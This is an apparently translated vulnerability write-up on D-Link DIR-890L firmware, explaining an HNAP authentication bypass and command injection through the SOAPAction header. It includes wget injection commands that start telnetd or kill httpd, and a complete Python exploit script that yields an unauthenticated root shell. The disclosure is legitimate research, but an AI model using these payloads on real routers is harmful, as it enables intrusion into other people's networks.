Hacking the D-Link DIR-890L
In the last six months, D-Link had been making bad mistakes, and turned me dizzy. Today I want to have some fun. I log on to their website and I can see a terrible scene:
D-Link's $300 DIR-890L router
There are many bugs in the firmware running on this vro, and the most unusual thing is that it is exactly the same as the firmware used by D-link on various vrouters over the years. Click here to watch the video.
0x01 start Analysis
By convention, we first get the latest firmware version, and then use binwalk to analyze it. We can see the following information:
Decimal hexadecimal description ------------------------------------- ---------------------------------------- ---0 0x0 DLOB firmware header, boot partition: "dev =/dev/mtdblock/7" 116 0x74LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 4905376 bytes1835124 0x1C0074PackImg section delimiter tag, little endian size: 6345472 bytes; big endian size: 13852672 bytes1835156 0x1C0094Squashfs filesystem, little endian, version 4.0, compression: xz, size: 13852268 bytes, 2566 inodes, blocksize: 131072 bytes, created: 09:18:37
It seems that this is a very standard linux firmware image. If you have analyzed any D-Link firmware in the past few years, you may know the following directory structure:
$ ls squashfs-rootbin dev etc home htdocs include lib mnt mydlink proc sbin sys tmp usr var www
All files related to HTTP/UPnP/HNAP are stored in the htdocs directory. Among them, the cgibin file is the most interesting. This is an arm elf binary file, which will be executed by the WEB server. All CGI, UPnP, and HNAP functions are directed to this program through soft connections.
$ ls -l htdocs/web/*.cgilrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/captcha.cgi -> /htdocs/cgibinlrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/conntrack.cgi -> /htdocs/cgibinlrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/dlapn.cgi -> /htdocs/cgibinlrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/dlcfg.cgi -> /htdocs/cgibinlrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/dldongle.cgi -> /htdocs/cgibinlrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/fwup.cgi -> /htdocs/cgibinlrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/fwupload.cgi -> /htdocs/cgibinlrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/hedwig.cgi -> /htdocs/cgibinlrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/pigwidgeon.cgi -> /htdocs/cgibinlrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/seama.cgi -> /htdocs/cgibinlrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/service.cgi -> /htdocs/cgibinlrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/webfa_authentication.cgi -> /htdocs/cgibinlrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/webfa_authentication_logout.cgi -> /htdocs/cgibin
This is complicated, but it doesn't matter. With strings, you can find the function corresponding to each function.
The program first compares the argv [0] parameter with the soft connection name to determine what action to perform. (Argv [0] is determined by the soft link name. For example, the WEB server executes htdocs/web/captcha. cgi->/htdocs/cgibin, The argv [0] obtained by cgibin will contain catpcha. cgi, then the program can jump to the catpcha function to execute)
"Staircase" code graph, typical of if-else statements
Each soft connection name is compared using the strcmp function:
Function handlers for varous symlinks
In this way, we can easily find the corresponding function code by the name of the symbolic link, and then give it a proper name:
Renamed symlink function handlers
Now that we have found these functions, let's start looking for bugs!
Some other D-Link devices also run the firmware. Their HTTP and UPnP interfaces have been found to have vulnerabilities. However, the HNAP interface (the hnap_main function in cgibin) seems to have been ignored.
HNAP (Home Network Management Protocol) is a SOAP-based protocol similar to UPnP. It is widely used in D-Link's "EZ" installation module to initialize the router. However, unlike UPnP, apart from GetDeviceInfo (basically useless functions), all HNAP functions require HTTP Basic Authentication:
POST /HNAP1 HTTP/1.1Host: 192.168.0.1Authorization: Basic YWMEHZY+Content-Type: text/xml; charset=utf-8Content-Length: lengthSOAPAction: "http://purenetworks.com/HNAP1/AddPortMapping"<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body> <AddPortMapping xmlns="http://purenetworks.com/HNAP1/"> <PortMappingDescription>foobar</PortMappingDescription> <InternalClient>192.168.0.100</InternalClient> <PortMappingProtocol>TCP</PortMappingProtocol> <ExternalPort>1234</ExternalPort> <InternalPort>1234</InternalPort> </AddPortMapping> </soap:Body></soap:Envelope>
The SOAPAction header is particularly important in HNAP requests because it specifies the operation to be performed by HNAP. (The above request executes the AddPortMapping function)
Since the web server uses cgibin as CGI for execution, the hnap_main function can access HNAP request data through environment variables, such as the SOAPAction header:
SOAPAction = getenv ("HTTP_SOAPACTION ");
At the end of the function, the program uses the sprintf function to dynamically construct a shell command. This command will be passed into the system function for execution:
Sprintf (command, "sh % s. sh>/dev/console", "/var/run/", SOAPAction );
Obviously, hnap_main uses the SOAPAction header in the Request Header as part of the system command! If the SOAPAction header is not filtered and the entry function does not require authentication, this is probably a command injection bug.
Return to the beginning of the hnap_main function. The program first checks whether the SOAPAction header is http://purenetworks.com/hnap1/getdevicesettings. This is expected, and we have determined that the GetDeviceSettings function does not require authentication.
If (strstr (SOAPAction, "http://purenetworks.com/hnap1/getdevicesettings ")! = NULL)
However, it can be noted that strstr is used for string check, which indicates that the SOAPAction header can be checked and bypassed as long as it contains a string of http://purenetworks.com/hnap1/getdevicesettingsing.
Therefore, if the SOAPAction header contains the string http://purenetworks.com/hnap1/getdevicesettings, the code will extract the actionname (for example, GetDeviceSettings) from the request header and remove the final double quotation marks of the string.
SOAPAction = strrchr (SOAPAction ,'/');
The code will parse the Action name (similar to GetDeviceSettings), which will be carried into the sprintf function to construct the command to be executed by the system.
The following C language code can help you better understand the logic errors in the program:
/* Grab a pointer to the SOAPAction header */SOAPAction = getenv("HTTP_SOAPACTION"); /* Skip authentication if the SOAPAction header contains "http://purenetworks.com/HNAP1/GetDeviceSettings" */if(strstr(SOAPAction, "http://purenetworks.com/HNAP1/GetDeviceSettings") == NULL){ /* do auth check */} /* Do a reverse search for the last forward slash in the SOAPAction header */SOAPAction = strrchr(SOAPAction, '/');if(SOAPAction != NULL){ /* Point the SOAPAction pointer one byte beyond the last forward slash */ SOAPAction += 1; /* Get rid of any trailing double quotes */ if(SOAPAction[strlen(SOAPAction)-1] == '"') { SOAPAction[strlen(SOAPAction)-1] = '\0'; }}else{ goto failure_condition;} /* Build the command using the specified SOAPAction string and execute it */sprintf(command, "sh %s%s.sh > /dev/console", "/var/run/", SOAPAction);system(command);
The following are two important reasons for the vulnerability:
1. If the SOAPAction header contains a string of http://purenetworks.com/hnap1/getdevicesettingsing, you will not be authenticated.
2. The program will bring the last/suffix string in the SOAPAction header into sprintf to construct the shell command and call the system function for execution.
Therefore, we can easily construct a SOAPAction header, which can bypass authentication and bring arbitrary commands into the system for execution:
SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/'reboot '"
Replace the reboot command with telnetd to enable the telnet service of the vrotelnet and obtain a root permission shell without authentication:
$ wget --header='SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/`telnetd`"' http://192.168.0.1/HNAP1$ telnet 192.168.0.1Trying 192.168.0.1...Connected to 192.168.0.1.Escape character is '^]'. BusyBox v1.14.1 (2015-02-11 17:15:51 CST) built-in shell (msh)Enter 'help' for a list of built-in commands.
If remote management is enabled, HNAP requests are made available to the WAN, which makes remote exploitation possible. Of course, the firewall of the router will block the telnet connection from the WAN. A simple solution is to end the HTTP server process and set the port of the telnet server to the same as that of the HTTP server:
$ wget --header='SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/`killall httpd; telnetd -p 8080`"' http://1.2.3.4:8080/HNAP1$ telnet 1.2.3.4 8080Trying 1.2.3.4...Connected to 1.2.3.4.Escape character is '^]'. BusyBox v1.14.1 (2015-02-11 17:15:51 CST) built-in shell (msh)Enter 'help' for a list of built-in commands.
Wget requests will be suspended because cgibin will wait for telnetd to return. The following is an application written in Python:
#!/usr/bin/env python import sysimport urllib2import httplib try: ip_port = sys.argv[1].split(':') ip = ip_port[0] if len(ip_port) == 2: port = ip_port[1] elif len(ip_port) == 1: port = "80" else: raise IndexErrorexcept IndexError: print "Usage: %s <target ip:port>" % sys.argv[0] sys.exit(1) url = "http://%s:%s/HNAP1" % (ip, port)# NOTE: If exploiting from the LAN, telnetd can be started on# any port; killing the http server and re-using its port# is not necessary.## Killing off all hung hnap processes ensures that we can# re-start httpd later.command = "killall httpd; killall hnap; telnetd -p %s" % portheaders = { "SOAPAction" : '"http://purenetworks.com/HNAP1/GetDeviceSettings/`%s`"' % command, } req = urllib2.Request(url, None, headers)try: urllib2.urlopen(req) raise Exception("Unexpected response")except httplib.BadStatusLine: print "Exploit sent, try telnetting to %s:%s!" % (ip, port) print "To dump all system settings, run (no quotes): 'xmldbc -d /var/config.xml; cat /var/config.xml'" sys.exit(0)except Exception: print "Received an unexpected response from the server; exploit probably failed. :("
0x02 conclusion
I have tested the firmware of v1.00 and v1.03 (the firmware of v1.03 is the latest version. Does other devices have the same vulnerability?
Analyzing the firmware of all devices is boring, so I handed over the vulnerability to the Centrifuge team, which owns an automatic analysis system. They found at least the following devices have vulnerabilities:
DAP-1522 revB
DAP-1650 revB
DIR-880L
DIR-865L
DIR-860L, revA
DIR-860L (revB)
DIR-815 (revB)
DIR-300 (revB)
DIR-600 (revB)
DIR-645
TEW-751DR
TEW-733GR
As far as I know, the HNAP Protocol cannot be disabled on any device.
Update:
The vulnerability appeared to have been detected by Samuel Huntly earlier this year, but was reported and fixed only in the DIR-645. This patch looks silly, so we are looking forward to the future.